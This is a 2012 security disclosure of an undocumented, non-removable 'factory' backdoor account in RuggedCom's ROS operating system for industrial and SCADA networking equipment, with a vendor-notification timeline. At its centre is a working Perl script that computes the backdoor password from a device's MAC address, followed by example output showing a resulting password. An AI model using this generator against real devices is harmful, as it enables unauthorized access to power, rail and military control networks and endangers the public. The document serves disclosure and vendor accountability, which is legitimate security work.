RuggedCom - Backdoor Accounts in my SCADA network? You don't say...


Title: Undocumented Backdoor Access to RuggedCom Devices Author: jc Organization: JC CREW Date: April 23, 2012 CVE: CVE-2012-1803 Background: RuggedCom is one of a handful of networking vendors who capitalize on the market for "Industrial Strength" and "Hardened" networking equipment. You'll find their gear installed in traffic control systems, railroad communications systems, power plants, electrical substations, and even US military sites. Beyond simple L2 and L3 networking these devices are also used for serial-to-ip converstion in SCADA systems and they even support modbus and dnp3. RuggedCom published a handy guide to some of their larger customers at www.ruggedcom.com/about/customers/. My favorite quote is from a contractor who installed RuggedCom equipment at a US Air Force base: "Reliability was not an option." How unfortunately apropos. Problem: An undocumented backdoor account exists within all released versions of RuggedCom's Rugged Operating System (ROSĀ®). The username for the account, which cannot be disabled, is "factory" and its password is dynamically generated based on the device's MAC address. Multiple attempts have been made in the past 12 months to have this backdoor removed and customers notified. Exploit: #!/usr/bin/perl if (! defined $ARGV[0]) { print "+========================================== \n"; print "+ RuggedCom ROS Backdoor Password Generator \n"; print "+ JC CREW April 23 2012 \n"; print "+ Usage:\n$0 macaddress \n"; print "+========================================== \n"; exit; } $a = $ARGV[0]; $a =~ s/[^A-F0-9]+//simg; @b = reverse split /(\S{2})/,$a; $c = join "", @b; $c .= "0000"; $d = hex($c) % 999999929; print "$d\n"; Example usage: Given a RuggedCom device with MAC address 00-0A-DC-00-00-00, run some perl and learn that the password for "factory" is 60644375. [jc@pig.aids ros]$ ./ruggedfail.pl 00-0A-DC-00-00-00 60644375 [jc@pig.aids ros]$ Shoutouts: CERT/CC for doing great work in trying to get vendors to actually fix things. JC CREW Timeline: Apr 2011 - Vendor notified directly Jul 2011 - Vendor verbally acknowledges knowledge of backdoor, and ceases communication. Feb 11 2012 - US-CERT notified Mar 12 2012 - Vendor responds to US-CERT. Apr 06 2012 - Due to lack of further contact by vendor, CERT sets public disclosure for April 13 2012 Apr 10 2012 - Vendor states they need another three weeks to alert their customers, but not fix the vulnerability. Apr 11 2012 - Clarification requested regarding need for additional three weeks. Apr 23 2012 - No response from vendor. Apr 23 2012 - This disclosure. Keywords: RuggedCom ROS RuggedSwitch RuggedServer backdoor